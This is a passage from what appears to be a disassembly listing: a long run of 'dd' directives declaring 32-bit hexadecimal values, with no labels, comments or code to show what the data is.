968A0C2h, 368F3F62h, 6705AAC8h, 77A2741h, 612A78A0h dd 0DEC14B5Fh, 2B0C36F8h, 20191E0Eh, 0B3EF0BBEh, 0DAEA31E4h dd 4042DC12h, 0CE5970C2h, 0E93D932Ch, 102D897Bh, 1E95C38Ah dd 0CB3C105Ah, 79056E1h, 0F23D6518h, 72AD67h, 0C0D5F636h dd 800639EDh, 0F59C7CB9h, 59EC00E2h, 0E6E9E108h, 0EA57F160h dd 4AE57B33h, 5AEEA239h, 4BF6BD28h, 687890F9h, 599973FCh dd 525B5480h, 40ABEBAh, 62E972C9h, 0FE589105h, 0E15544Eh dd 8DA0109Bh, 0EE83E93Bh, 0C23C93BFh, 97FFD817h, 989E708h dd 3D9CB1Ch, 90BB0F8Bh, 80A910D3h, 51FFDE68h, 89CD1C96h dd 7E5C5815h, 0C8CB6F38h, 0F884FFC3h, 537B25F2h, 5228B1F1h dd 0CAFEFCB2h, 0BA8C8BBFh, 582754DEh, 2A961769h, 63E95C45h dd 4B26A292h, 50BBABC1h, 0DF405A02h, 0E8132E7Ch, 0FA084D30h dd 0C38309B1h, 68470A5Ch, 4109C4BBh, 0F07820BBh, 219DD0DCh dd 77DDE86Fh, 0E12BC46Fh, 0C18EECB0h, 9DE6491h, 3906BA45h dd 138008E6h, 6816374h, 33D347FAh, 0F503889Ch, 0F3E318DAh dd 0D20E0145h, 0E91A776Bh, 0B34F34F8h, 0DE304007h, 53225B66h dd 8A5DC0B7h, 0A4D482FAh, 0EBB55180h, 2659EE88h, 156FD6F6h dd 4F77D3ABh, 134DDA0Ah, 20242013h, 4AB201AEh, 403B6D68h dd 64180980h, 3E507124h, 90355300h, 26E2C10Fh, 0D24203h dd 60C62BEFh, 8CB789E9h, 16612AFBh, 0C27A2C3Ah, 0D1B9581Fh dd 0D98A2AF9h, 84A46817h, 898EBDB2h, 0DC314A59h, 0D3E9040Fh dd 0AD77ABA9h, 76B78DB3h, 5955F7Fh, 81C221E9h, 53C9061h dd 0BE484FE9h, 510E8949h, 0EF4CE588h, 849D905Ah, 2CEE537Ch dd 0C9ABB8C6h, 0F0EDE03Ch, 0F7F2DAA1h, 2010D27h, 0AF69D1Fh dd 0C61888AFh, 7ECC8809h, 66E10024h, 5AC18058h, 0CBF506CFh dd 1620C5CAh, 38C481C0h, 0C1273B0Eh, 6CD27984h, 69D5F65Bh dd 0DE07B5D6h, 0C626F031h, 68560B08h, 0EC666B4Ah, 0ED058C03h dd 168DBE5Dh, 21D6290Bh, 0BBBA1AD3h, 9EA16BDh, 674CCA5Dh dd 92258C6Eh, 575D3560h, 89091EAh, 0C6D282E6h, 42F02848h dd 0E43BCA3Fh, 39064BD2h, 50E46225h, 0E036D3Dh, 814E20A9h dd 54890EEh, 0A252484Dh, 171B4C00h, 0B46E90Ch, 0CB77ABB2h dd 0CE2D3425h, 8A4CC155h, 60255A26h, 0A1D010Ch, 0F3013A23h dd 0E186E950h, 5A4EB304h, 25E928CCh, 0AB71FDB5h, 2F14E6CBh dd 0D8C242E9h, 0C427BD5Ch, 5E78A057h, 28842F1Dh, 0F0EFE760h dd 977F6913h, 0D45F510Ch, 9952021Eh, 5DEA3163h, 0E7A6960h dd 0B149C524h, 93E90703h, 98616B61h, 0B43F3473h, 0D2E8C9FAh dd 0ACBD850h, 296E1817h, 85039A0h, 0B4DB4EE9h, 8F13F385h dd 4804800Ch, 0A68BFC84h, 0D0136C12h, 0D8287F6Dh, 0D895664Eh dd 637B3AF1h, 0BFFCDA39h, 1EE96D31h, 0B11E073Ah, 2B21728Ah dd 3E0100C9h, 4A8274C5h, 37841A60h, 0C5F4FC46h, 7F9D55CAh dd 99EA6560h, 41ED12BEh, 4241BF03h, 0C1D34019h, 0C3620E33h dd 522C1250h, 4A0B317Ch, 303A2B2Dh, 0F702818Ah, 0A2204CC1h dd 21965729h, 0F831E7A8h, 0CFB10EAEh, 0D7F45364h, 21A0B50Bh dd 6A6471BBh, 0A7BA6550h, 0C690DEEh, 0B0A558BAh, 61960350h dd 0C3018B53h, 3FE9FB08h, 7E39246h, 17253465h, 54DFD273h dd 3BD99D9h, 8143F064h, 0F12688E5h, 2672B029h, 0BAAA5382h dd 71C554ADh, 19A76A24h, 602801F4h, 0BD0A345Bh, 123A1023h dd 0CF015B0Fh, 60D84509h, 801EE098h, 0AA8D6BF2h, 75691415h dd 0CA5B4194h, 8945580Bh, 283D405Eh, 0B3594BCBh, 0A10B5CEEh dd 347A5450h, 4C3DAE46h dd 2414BEA8h, 25A62B5h, 0D839E95Fh, 97BDBAFBh, 0C33DB7C5h dd 725FDD00h, 68790974h, 6AE63680h, 0B3731ACFh, 17223F12h dd 0A28B55DBh, 4598F3ECh, 90257120h, 1AE99F00h, 86E9395Bh dd 9D8AA45Eh, 2E81DACCh, 15072F39h, 9B74F521h, 806149A1h dd 0DAC4ECF9h, 0CD892C43h, 0EDD15820h, 627EC8F1h, 1332F824h dd 77758B3Fh, 16C5637Bh, 4570706h, 0BA311A54h, 122A0469h dd 0D269A3C7h, 0E9831401h, 3A74D1A1h, 0D29BABF8h, 965178E4h dd 59064299h, 0AEF35607h, 0F71E0AA7h, 0C9953DAh, 2345F110h dd 3CBD0B53h, 724D995Fh, 0ACA9757h, 2ED50331h, 0C4E7F07h dd 975A9BE4h, 3D962594h, 10D22989h, 3F2261D1h, 0D92D4AE7h dd 0BD109F51h, 8BE0D317h, 85D35F84h, 0A273DF9Dh, 45B112C7h dd 0B0D3F81Fh, 0BF257778h, 7E6302AEh, 0EAF4963Fh, 4061019h dd 0AF0CFF1h, 4E114C2Bh, 7B8A7A05h, 8396CCFFh, 78C19A83h dd 0D5999D7Eh, 688750B1h, 8AB607AFh, 0CAA91E65h, 0B155C513h dd 0AC8BEC2Dh, 4F4216D8h, 0B40CF01Ch, 8CA5BF43h, 357CFC42h dd 0C82DA9E8h, 54C0E933h, 0C3D7DDE7h, 4E2A88BEh, 1277888Dh dd 1201102h, 532D9EE9h, 0A52B4340h, 9BF4802h, 0E01FBA4Ch dd 5596EB0h, 0FBE94BFDh, 68C58CD5h, 0B36A102Bh, 237353A5h dd 9D511290h, 5B142223h, 0D4435892h, 1A5D7273h, 6786C174h dd 37E6325h, 2668F164h, 0C54CBCB4h, 8BB93C14h, 443E4C84h dd 210B30F7h, 50DFD0Fh, 0FDDDF11Bh, 19942BF8h, 61AF9784h dd 3FAD31h, 9B6F6668h, 54F202FEh, 63405AD5h, 4E5C6580h dd 0A1F30101h, 29748318h, 0D53B5C8Bh, 294A1192h, 47D28863h dd 0B2001346h, 6E2C0BEh, 3080DAF6h, 31011C2h, 6BF5E7E9h dd 68452592h, 7E095D11h, 0E33730F3h, 0C00BB31Ch, 0E808EB27h dd 0C41FBC83h, 1E5F8BB7h, 9544E97h, 7DF4048Ah, 14800DBAh dd 83F613Ch, 14B9E97Fh, 760BE00h, 30895606h, 3265EF7h dd 0A6B94148h, 0C882C701h, 0A42D5A57h, 0D920C500h, 1DE9429Dh dd 0E7EB5054h, 54730E09h, 8B3076Ch, 0C7F162E5h, 83375336h dd 0B877E50Ch, 624F3007h, 41613FA0h, 17C92E92h, 17C4816Ch dd 54580937h, 8AEC2017h, 0A5ADC089h, 0FAFAAA0Ch, 0D9949DEBh dd 0B7902F92h, 58617F1Fh, 3E9C104h, 0F3D56980h, 26FF7874h dd 0ADFA4226h, 0CF969E72h, 2DA14188h, 8A3A3161h, 59F9890Fh dd 0BE4F933Dh, 2D04C048h, 0E9103694h, 281252CCh, 7B33A3D0h dd 6A5B224h, 0D7830813h, 5E018CD0h, 230D2568h, 0CAE64E23h dd 3A9C9B07h, 0C65BEB20h, 7C01EE28h, 29320662h, 6A85AD0h dd 0E90B800Ah, 4E5A9A5Dh, 0C9D23459h, 0F8C741ABh, 0EB8100D1h dd 693424EDh, 83F30126h, 0F0398602h, 0E13B4CBh, 56052FFBh dd 0D54940E2h, 0D9A89389h, 46A6DD93h, 3E243E44h, 1ACFE2DFh dd 1C472723h, 0C7D8291Dh, 71709705h, 0BE33302Dh, 58B99392h dd 0C18B7609h, 183D31CCh, 0BB176A4Ch, 16DA9560h, 0A4B19500h dd 1149E949h, 0BA815FF4h, 0C83F5966h, 82A08D2Ch, 3FF91D68h dd 0D23E6231h, 4BB3CA2Bh, 0F15F8E3h, 4C9EFEE7h, 0BB12A028h dd 0C31940EBh, 0E801707Fh, 68FB0160h, 8D3A6D72h, 0D00C78C7h dd 26DFC430h, 6D1EB1E9h, 0F7B44D29h, 13D4DA60h, 0D2719F02h dd 443B6102h, 855804D2h, 7FE7B68Ah, 0D2223125h, 873955ACh dd 0F102006Eh, 2136C9Bh, 6A27F8EDh, 526EFA0Eh, 5850E957h dd 0E5880108h, 86D3F658h, 12943CDDh, 13C38084h, 0AFC5ABFDh dd 0E5C05BC0h, 0C810C003h, 0EB2C1704h, 0D2EDE8E0h, 2B6A84E0h dd 2748E697h, 5A71F536h, 237EB800h, 0BC314311h, 55965129h dd 14866588h, 7B1502F1h, 1E76D79Fh, 0E57242BDh, 4F442FE0h dd 99405981h, 5A1F06BEh, 0C6B4827Fh, 0FB760889h, 0F4CEC96Fh dd 34FB710Ah, 0F1935E70h, 76C0DEBDh, 2569B72Dh, 0C32E6E39h dd 1127A6ABh, 0B71273FEh, 386AA700h, 8D89E34Dh, 304206C7h dd 5AED580Ch, 0ADDADEFDh, 6CE532B0h, 66648120h, 0F2F00289h dd 836929Eh, 7CDE1E2Ch, 4E7F0C02h, 58D24023h, 760E3E27h dd 408CE33Ah, 802479B3h, 424B6F12h, 0F06EA1Fh, 0B181085h dd 0B2BB0DF6h, 0D05EC3CAh, 0EBE02997h, 31A5BE9h, 68595477h dd 80A270AAh, 440FC9BAh, 71EE5DBFh, 50EAB0FBh, 3D068E8Fh dd 0D2FD6590h, 748E19DDh, 0CD9F902Ch, 441E1813h, 7D5DA3D3h dd 0A022F427h, 0EB80027Dh, 4A06CEF7h, 97E9C302h, 46FAA56h dd 3DDC1CD2h, 71715DC7h, 3A7DD1D3h, 8B7A2C3Eh, 0C527005Ch dd 13FD22B5h, 0B0EAE94Eh, 0A909BF60h, 0F673CC2Ah, 0E8471257h dd 0F7BEC094h, 756A668Dh, 8D14BF31h, 3D2575Dh, 43390A23h dd 81EDFA5Dh, 0D5F75F07h, 886B3B71h, 320FC599h, 4D61F14Eh dd 8002EDDh, 0BACC40E9h, 50D600F0h, 92B849CFh, 0FDE580A4h dd 3EC86216h, 0F22C7EC7h, 8F39123Dh, 8015D17Dh, 475BA6C2h dd 0EAC1007Ch, 0F9B85008h, 2C3F1272h, 0E358A531h, 1DC7F086h dd 437688h, 32A3BF2h, 5AD72983h, 281B5EC2h, 6F4FE1FCh dd 31047F28h, 0F04E5FFEh, 0DC3F0DD6h, 29EE9668h, 85E55D89h dd 0DD5B572Ch, 17346C5Ah, 27D1F6ECh, 1B710831h, 0EA4E340h dd 4E750979h, 0E400D6F7h, 34B310A2h, 0CBE849B5h, 400E0B30h dd 0E05D68A4h, 0DD4B7A9Ah, 40F102D2h, 1D1BC9B7h, 0BF693033h dd 0B10B3B85h, 0FBC1003Eh, 31D376D7h, 255DD97Dh, 0B7B2073Fh dd 0C094DA30h, 0D0B2C195h, 1084B525h, 0CCB1C0B1h, 0EC3E8059h dd 8B43AD93h, 0B5A9BC6Fh, 0A7FDFFC0h, 0D22A5D81h, 0CC805284h dd 1EDF4E5Ch, 2D0C5698h, 0B47EF81Bh, 18CC01B5h, 59C83160h dd 1BDB4489h, 677034A0h, 1DA12D00h, 0E6E90604h, 5AEBB7C5h dd 625A02BAh, 3219C307h, 73B20CCDh, 0EA8302BBh, 52A912D5h dd 8BBAFE7Ch, 1BB8E1B3h, 8BBF5B7Ah, 13517B69h, 0F9F02106h dd 0AE916B5Fh, 934B4E7h, 356A16FDh, 5FE0A71h, 0A9A62E07h dd 0B3D3499Ch, 1610688Eh, 5C2E2862h, 5DE88144h, 0EC07E0C1h dd 939CEAA2h, 50D3044Fh, 0BC9D72FCh, 8DE65B93h, 560F24A4h dd 307F6804h, 0FE1710h, 1F01A226h, 49B7E954h, 2FF0BB58h dd 295D0985h, 3CC25BDFh, 736B8A81h, 0FAE1E3B8h, 8606AC5Fh dd 0F9328A09h, 93201295h, 0A49D0A37h, 4D00A95Ch, 4E05688Dh dd 79E10Eh, 9C349735h, 73E82538h, 0BC6AC53Fh, 68F401F7h dd 0AFBCE948h, 0A9BA40A5h, 4C25C5F3h, 31FB4EF1h, 0A7C9E97Fh dd 15D9A9Dh, 4F5968A4h, 48C57D38h, 52C6992Eh, 0D7707680h dd 2EDC8839h, 832562EBh, 101CF777h, 589B96E9h, 6479706Bh dd 13A17132h, 2DFAE805h, 72705897h, 0ACD5FA34h, 8442B2D9h dd 5ABA179Bh, 0FA625902h, 2081C00Eh, 0F86C8579h, 26D33AA0h dd 0FBA143A8h, 9903EBEh, 0E3D3F23h, 59CA3169h, 8BE9D162h dd 2A418F4Ah, 5603E0F9h, 0AC3C28B3h, 0DFA8F179h, 38F64BBAh dd 0C58C89B2h, 0BBB90684h, 0F46063A5h, 8FFE4CAEh, 0D1D7029Ah dd 5025D58Ah, 73203396h, 6C294C4Ch, 0F31D9948h, 133F983Bh dd 6230E949h, 685252C2h, 8E261E95h, 0B3D4CB30h, 35DA4BEBh dd 39892DF9h, 822E5936h, 0C708A6B0h, 8B558092h, 0E4327941h dd 805C0087h, 720486C7h, 54D7451h, 0E9F8280Ch, 0F75F935Eh dd 37B868B0h, 7FF3B89Fh, 1329929Ah, 0B18A5AF4h, 8564DDF7h dd 0D7F65808h, 1B7B3C2h, 3FCD8955h, 7DE85D84h, 8469251Dh dd 0FED7F71Eh, 6682EE35h, 0C5A4D70Bh, 35E69482h, 0E996636Bh dd 0A556CAF2h, 289846Ah dd 0C9DB2ED4h, 21796051h, 28BB0D3h, 0A223F9CBh, 5A74435Ch dd 5DD40580h, 0C012E9A3h, 4D092DDBh, 0E9C2015h, 2278696Bh dd 8880063Ah, 3E9D9CE6h, 0F6459567h, 6B9C5C1Fh, 822CF00Eh dd 0F9478EE9h, 855E930Dh, 96C1B63Ah, 0B5B49FFCh, 51DD0418h dd 56DF1A97h, 0EB35210Dh, 4E63E05Dh, 2020EE97h, 5E760632h dd 7DA3912Ch, 193715BEh, 0B3C45FCAh, 4C211881h, 934526Fh dd 0A279991Ch, 30EB688Ah, 0E69FD220h, 22B9BE19h, 584EB5D0h dd 2FA1D9A8h, 0C16F2795h, 8150A5C0h, 182D09E6h, 0FF802807h dd 0FAEB4B48h, 5EF72912h, 77521000h, 7A5313C7h, 0F9FC41E9h dd 0B27260DEh, 38F68080h, 81DA2C5Ch, 8FCC8BE7h, 9CEC219h dd 64EA61F1h, 2B6EA8Fh, 0FDF4F049h, 0A72A7520h, 1799AD40h dd 2298F30Dh, 21DF286Eh, 2FE9C816h, 4EDE8F93h, 3E3FF32Bh dd 4B2B175Ch, 7CA128B9h, 0F58100C7h, 0D62839ADh, 0BA56AC64h dd 241C829h, 0C658F973h, 63CEB055h, 0BDFB855Eh, 52E6D100h dd 984F9ABAh, 4A420126h, 6782CA81h, 0EAB8409Bh, 76EC6F96h dd 5AD60116h, 988DDB8Dh, 0FB69AEFBh, 0B0E1FC82h, 6A26F12Ch dd 9DEDA413h, 0E8335579h, 5961213Bh, 1C257A98h, 0A160D904h dd 573B6802h, 7E8E5F9h, 1EA7EE24h, 0BD552508h, 62EE5F11h dd 94CDD658h, 1534347Bh, 0B202C2ACh, 7E2C0FBh, 0F0116DFh dd 0CA28B3B1h, 0F505909h, 0E95AC205h, 47641330h, 0E9C265ECh dd 185F024Bh, 48665C26h, 0CD852609h, 6D359997h, 484614D5h dd 35879DF7h, 0EFB26713h, 0F9A39AA2h, 3C6841D6h, 618C3B1Fh dd 0A7992FE9h, 8D002FDAh, 41FB050h, 0FE400C94h, 25AC9689h dd 89F21909h, 6E673402h, 892D5850h, 0A57C7406h, 1F226DCCh dd 0FA909F60h, 0A32754CEh, 65C87133h, 50F12C3h, 0EF57B940h dd 0E2BA6831h, 92103964h, 39514AAFh, 7B1C31DBh, 0E1BA4990h dd 5C602D1Eh, 1405BC00h, 72575135h, 0D8290541h, 0FC8DE9h dd 33FF580Ch, 3C1FF2F5h, 3DD6768Ah, 7792CA5Fh, 96FB7004h dd 7DDE49E8h, 0BD02C6C9h, 3E9E773Bh, 366DD640h, 0F75DE60Fh dd 85CD00DDh, 0C04B8717h, 0BAF6A91Ch, 0EA5E29C6h, 4BC30824h dd 735DD19Dh, 0FD5BDAF4h, 0C95143E5h, 0CB2058C2h, 0E0D21703h dd 0C4F4F398h, 0E3C829CFh, 83B8401Ch, 73C8EF5Ch, 0E7D10416h dd 0B425BA09h, 48D3483Ah, 4DA00D89h, 0B31E6F2Dh, 88BA4058h dd 451B090Ch, 0F282BC5Ch, 88E50DE8h, 582FBCFFh, 58082417h dd 0E43B098Dh, 0BF45CD7Ch, 4C29FF88h, 0AC2581FEh, 1E7B5548h dd 0E024332Fh, 5C5C30Ch, 0E968EC71h, 0EE78E4E3h, 7F7B1E02h dd 0C3D6F718h, 77F577CEh, 16DA5AD5h, 68C88D96h, 50BE7CA8h dd 7BF3EF3Bh, 4243E9F5h, 14BD83Ah, 87EEE097h, 5954804Fh dd 5D092F90h, 583ABF68h, 2D3D407Bh, 9C1A6B16h, 0D45039ADh dd 0D1670226h, 55B3E94Eh, 564D3975h, 80C62520h, 5B4BDF31h dd 281F710Fh, 50D78354h, 0C093204h, 0FD824CF5h, 0C80B2384h dd 0D61D3D32h, 16BE1C32h, 0B6823621h, 99142F1h, 1FF68408h dd 0FC4C2904h, 790CDEE2h, 5F028A9Ch, 0E2959CA9h, 0C7693B60h dd 4BDA7D06h, 9CE9C487h, 8BB5A369h, 0A078EC83h, 8014125Eh dd 629DE528h, 7D0E7FD1h, 0DA8BD54Eh, 0CC805E78h, 1BA0215Ch dd 508005D0h, 25EC7E88h, 1C51A1D8h, 67685C02h, 49C8F146h dd 6526AAF0h, 0B4604118h, 9B753CFh, 99C7E979h, 61263F71h dd 2EC09508h, 2C3F58E2h, 97AF6C82h, 0EBE6836Ch, 89C8DABCh dd 0EF500AAEh, 33578902h, 0B69C4BEDh, 0A92559E9h, 0D434593Bh dd 87E588F7h, 0B86C2E54h, 8118000h, 0A72FBE09h, 2EE9E8F6h dd 0A47BBC9Dh, 6EC50939h, 14B7A8Eh, 1938FAA7h, 0E59DAE46h dd 0B8D0273Eh, 0E9DCAD2Ah, 1287F607h, 7DB21B60h, 924F53B4h dd 0D3D0ED52h, 1406BE13h, 31E7FFAh, 41A319E0h, 30D8E281h dd 83B12A27h, 746A09A7h, 0B0F25A09h, 0FFBFFA09h, 2FFDE0CEh dd 30F082EFh, 2180EB07h, 0A1D30C8Fh, 921A489Dh, 708AE73Ch dd 20C43BB6h, 47D507ACh, 0F55FFB29h, 7D4FADC3h, 0D5C6A47Fh dd 4E445C5h, 5DEA89EFh, 0F462C721h, 516CF0F5h, 0FE93B101h dd 9FF180C1h, 0DE8EF5C2h, 2745074Bh, 8688A5BEh, 496454A2h dd 0A1D6B0FDh, 2F613AEAh, 312F5BD8h, 8048E93Dh, 4EEA68F1h dd 0C15917C1h, 0B2308C66h, 9F1D83Ch, 493D2E1Fh, 0E74AAE30h dd 5F5127D7h, 73F635FAh, 658C8B9Fh, 981BADA5h, 0E953E698h dd 1C496D30h, 7E0D2DBFh, 9D9EAB67h, 0B407DECh, 29B27E9h dd 80C1A192h, 0DA892E45h, 0B5F63E20h, 4ACAF81h, 0AF8B4431h dd 7DF29112h, 4A50B980h, 87BE1DF8h, 7D2E10Eh, 0C96026E2h dd 614F4D5Bh, 16C1F245h, 0CBFB609Fh, 30B74054h, 6858936Bh dd 97E7225Ch, 9D27EAC4h, 150FD158h, 6975DAABh, 22333715h dd 35C4BED9h, 298E200Ch, 57E3F15Fh, 0A5AD681Eh, 0E98B9279h dd 95905039h, 0A52098C0h, 16F7E5C0h, 90154D61h, 9D135F7Ah dd 2F5BED6Fh, 0CA137084h, 0D94F4F8Bh, 98C30428h, 574EE939h dd 613181C4h, 2D381407h, 5B251CC6h, 6D1EC176h, 0EFDF421Eh dd 7D74A120h, 0BC16C029h, 0C58AA869h, 0F4A31808h, 242C042Ch dd 0E42808A9h, 4F251A28h, 87695B97h, 8076C105h, 175FE949h dd 0E4E647CEh, 18E6FA6Ch, 0BD3A8012h, 0D1899E91h, 0D667462Ch dd 0D23EE958h, 3A1E3500h, 51F0012Bh, 50720705h, 1C2609D3h dd 10E41CF6h, 610E0C88h, 0E2D19692h, 0F8593042h, 55724617h dd 9D28BC00h, 42319070h, 71E0D2D5h, 0B4195556h, 2D462BE0h dd 3A8C798Dh, 0EA0BEE8Ah, 4D1070h, 0FE0AFDDEh, 0D6293405h dd 1C081A1Ch, 0D15A1401h, 901E82E6h, 0F0A3E2DFh, 0A5F30096h dd 51386203h, 1139D68h, 8DB2425Bh, 0E058E984h, 0ACB001FCh dd 0ACCCEB95h, 0AFD624BAh, 0D712E052h, 2E64EBBDh, 0C52FA25Ah dd 0EBB217F7h, 2FD07A77h, 0CCC8A3FEh, 2CE02F41h, 0E5C14509h dd 230E0704h, 0EFDF5CBBh, 0AB2E1365h, 25E9616Ch, 18681A1Eh dd 0A3E8D6CFh, 1F0614Ch, 36E368Fh, 43AC8E9h, 0C56904BAh dd 5AF2A8F5h, 277F2E01h, 0AE740E96h, 0B1DEE28h, 0D6F75E08h dd 0B6825D70h, 823CEFF1h, 93189444h, 0CD13FC21h, 88B60180h dd 73E8603Fh, 16C5183Bh, 0E539F889h, 0A80590C5h, 0D36682ABh dd 0DA34492Ch, 15A1F96h, 206D7C62h, 0C40CAD78h, 0C88631BEh dd 81EF0125h, 0B706074h, 217A5D6Ch, 1C2E15Eh, 3F510559h dd 5E74082Bh, 0DA3D2499h, 41CE0238h, 0A080DF48h, 39FA8C6h dd 6A29EF2Eh, 69B1D1A5h, 66AE3D00h, 80C04FD4h, 20731B6Fh dd 0FBBE0556h, 0C050133Fh, 7274C011h, 0C6E97F12h, 0EC5809B0h dd 9E779ADEh, 0ACE9F092h, 0A280144Ch, 25C4D205h, 430301E9h dd 9E4AF229h, 0F35E42A4h, 0E90B802Dh, 19D9AF4Ah, 0F3C6DA2Dh dd 2113ED22h, 54F2090h, 50168820h, 6D7DBF7h, 893A150Dh dd 591A2682h, 952C4A7Ch, 0F03C44D2h, 0F0908F4Ah, 53BA1309h dd 495AD54Ch, 3588B22h, 27B7969Dh, 0DFEEB2EEh, 0EA5DB19Fh dd 5145290h, 8FB6E9C3h, 0F24CC9CAh, 65546882h, 1F7B2DFh dd 3A0AB2DDh, 6355C600h, 3248AD26h, 522ECE84h, 850EF8C5h dd 7604E61Dh, 0B00D000Ch, 0F201C3EAh, 8FBE2AE9h, 10326613h dd 12621102h, 5E31555Bh, 0FDADBA60h, 0C15F0BC3h, 391C10E3h dd 0E1F14BA6h, 0F8FFCD3Ah, 0E5BD0E93h, 0DF2F3E6Dh, 79EF6468h dd 0AE19923Ch, 4C2DAA31h, 498720F1h, 56CBE0C0h, 97F70317h dd 8425DA80h, 0AA9ABCE0h dd 9FCF2929h, 799D7A2Dh, 0B8CC8336h, 2CE4106Ah, 48DD680Bh dd 46EF931Bh, 435CD7B4h, 4E40167Ch, 0B82CC37h, 3C37F911h dd 0BE59AA24h, 658ED39Ah, 137B0140h, 3906BE2Ch, 9424F301h dd 842B013Dh, 0E9080482h, 5AFC9277h, 3AAD7799h, 62BF950Fh dd 8012D147h, 7BE65B90h, 0B2C09FC0h, 782D0AFEh, 5D856963h dd 6B104977h, 0E5D10025h, 301BF581h, 0DB68583Ah, 0C258E449h dd 0A01EB73Eh, 0C399CAEDh, 26C187C5h, 0FF5AC41Ah, 54806F1Fh dd 895180D2h, 891A9ECEh, 50762766h, 4F5A116Bh, 3748456h dd 6A55F2C1h, 97E9E821h, 78CC3BC7h, 0A6EF5A48h, 5292481Eh dd 4B7758B7h, 4FB3F6B4h, 1007A334h, 5825B537h, 0C6C05368h dd 82E377CBh, 403A418Eh, 283094CCh, 45EDE4D0h, 6F57D59Eh dd 4EB69D21h, 48C6D07Ch, 9962894h, 0E9ACA3CBh, 20E14010h dd 65A05A9Bh, 468591F6h, 8306F44h, 0BC9B71E9h, 0E8416442h dd 0A4AD4872h, 831E10AEh, 0BA66F84h, 0E975F45Ch, 8850915Eh dd 83C89DD7h, 0CFE6BDEFh, 52665500h, 0B614B753h, 0FE301C24h dd 7F7DF5Bh, 7BF8885Ah, 0C02DC15Eh, 9B1C8B9Ch, 0BD688507h dd 0B766404Fh, 2C350456h, 0DAC91D74h, 74BBE2A8h, 355E292h dd 1CBB5805h, 0E2E31347h, 0D7261322h, 12F55B3h, 1CD89696h dd 4138E995h, 0AB1C3E43h, 704A40C3h, 4C0C0502h, 7657801h dd 0B4959CA5h, 35CFB05Bh, 0FF94213h, 580D28FCh, 0DB2E7B07h dd 883EDC2h, 0A4BC08E9h, 3E028DF8h, 0FB898C9Eh, 0A0FB895Fh dd 50B25284h, 2CE27AD0h, 6B8E0D82h, 851D160Ah, 82B5C380h dd 0A0A23257h, 60462ED8h, 7A7EE090h, 540A3D25h, 38290F3Bh dd 34BB0813h, 0F90171A6h, 4372AE2Fh, 0F72A61C6h, 0D801118Ah dd 65E513AEh, 672DFEE0h, 30E966DAh, 0E1850CD7h, 0A80FBA52h dd 0A60EC76Bh, 0F0F9AB9Fh, 34451376h, 10380153h, 9F28F778h dd 4A896A18h, 31657C1h, 334FCA02h, 0D8EAE961h, 0C15E3B54h dd 0EE2CC50h, 5877249Eh, 60BFF2C0h, 92674F3h, 0C1C257D6h dd 739950E6h, 39F40B85h, 0FE5F029h, 0C2AD0516h, 30696809h dd 0A69774D1h, 70387F0Bh, 33E92750h, 1AC2585h, 0EA80F7DAh dd 24B7AEFh, 122158A3h, 39A5A2E9h, 41DA36C3h, 48076287h dd 0ECE91252h, 326EC3E1h, 0A7FD5C2Eh, 0B1896A6h, 62D4C183h dd 0BE803CFh, 0BFE9E131h, 525A34h, 0EE8042B6h, 0FED6F601h dd 8504BCF9h, 14E9E0E6h, 605866F0h, 4B59650h, 9CFA722Dh dd 0F8E41C4Ah, 4EE7F05Dh, 0CA72618Bh, 0EBE40745h, 1BE80E0h dd 42620EB3h, 405EF289h, 4C2433CCh, 0E9197C7Ah, 6A333986h dd 0EBC14F85h, 80F39403h, 0E67737AAh, 0F3E91D08h, 3B881DE5h dd 0E49BCF92h, 0C3E18F7Bh, 0D6DC6682h, 2F8FE6Bh, 1D6B208Dh dd 5B7B783h, 0EF0758F6h, 4BDC4053h, 4D74CFC0h, 5509485Bh dd 2E6C6A07h, 8ED87963h, 4476E704h, 0D5837D21h, 890D2472h dd 2FE904F6h, 0A30EFEDh, 58BD78D1h, 370B7742h, 2E880753h dd 92500796h, 95F55575h, 4012A64Ch, 0ECBFEB8Dh, 44314DD1h dd 0E2B7910h, 7EF08950h, 47BA1152h, 77EDEA0Fh, 0CAC09E2Ah dd 15F3260Fh, 3B660095h, 59E9B964h, 9B4E4612h, 7CE9165Eh dd 3FE29057h, 9736C8D7h, 2E5D8A40h, 0CFD7CD89h, 2D0BF817h dd 0F63F68FBh, 54C7E0DAh, 5831FE33h, 0D72588FAh, 0A852C122h dd 1250AF0Bh, 0D5F7C381h, 0C3D367Bh, 65BEF995h, 0A21BB892h dd 616F5655h, 2E2465E9h, 0A1FEC5CCh, 143166h, 807C48D6h dd 0F6010552h, 29532771h, 7402DC8h, 4F94E959h, 0FA8BB4F3h dd 0E53DA160h, 69F65D3Eh, 76D4B67Ah, 57067700h, 4B23E90Ch dd 2C8BB2D3h, 1791EB56h, 0BEDD2918h, 0FB12C6F5h, 0F817498Ah dd 0E45E33B3h, 80B097BEh, 0FAB60D6Bh, 34C69FB4h, 225F1FA2h dd 5DC5E92Eh, 16FD47C2h, 605B5B49h, 0E8E9D3C0h, 0C0009894h dd 0F48008ECh, 3706CE27h, 15D052DEh, 0AC4A0FFEh, 8CC72636h dd 0BE5AE203h, 783EFA1Bh, 0C16815C4h, 0F210BC3Fh, 14532E44h dd 0C0E6253Ch, 90CE0122h, 26541250h, 0CD95072Eh, 78916218h dd 5C408580h, 97B00BB1h, 0DC62D601h, 9CDDE91Eh, 50806223h dd 220F6BB8h, 17800E4Fh, 3A131A2Dh, 628452D3h, 85BE34A2h dd 0E25DBFC1h, 0E9E5CA5Dh, 0ED14B0FAh, 1E87E4ECh, 0F44603F1h dd 9C24093Bh, 93DDB5C2h, 2DAAD18Bh, 7838FC05h, 2300D84Bh dd 0AB2A78BDh, 0E5C1184Eh, 483CDA02h, 0F83B372Dh, 0F181474h dd 2B17A586h, 0E3FBC907h, 241DFC85h, 73429A54h, 4A14558Fh dd 0BD7562Bh, 0F7EB3198h, 7D95A0D1h, 2778DF60h, 0F0693FD9h dd 1AC3FC40h, 172C6853h, 0FFD187CAh, 20E9406Ch, 0F70108A6h dd 822005D8h, 452A217Dh, 0B8FC0984h, 2139EB2h, 5CD128F0h dd 7A023BE0h, 90B1672h, 64C633E1h, 0DF5A8731h, 9DE0F0E0h dd 6BC16F14h, 7FF353FEh, 2C360BF7h, 35FC4C69h, 0E69D08A0h dd 1D19BDECh, 0A4F32A66h, 2F4F810h, 68FA015Eh, 57AEF73Fh dd 0F1380D2h, 9A5BBD84h, 8B18FB34h, 5BBBE961h, 85322730h dd 0C9AF081h, 392C9F07h, 0D6D7C0FEh, 0C720B0F0h, 13455FE9h dd 82F7B711h, 0E054EE9h, 0F2D231C4h, 89CB9601h, 28290840h dd 0D62659CBh, 8901E9B2h, 5C115D68h, 1A6749Bh, 585EF713h dd 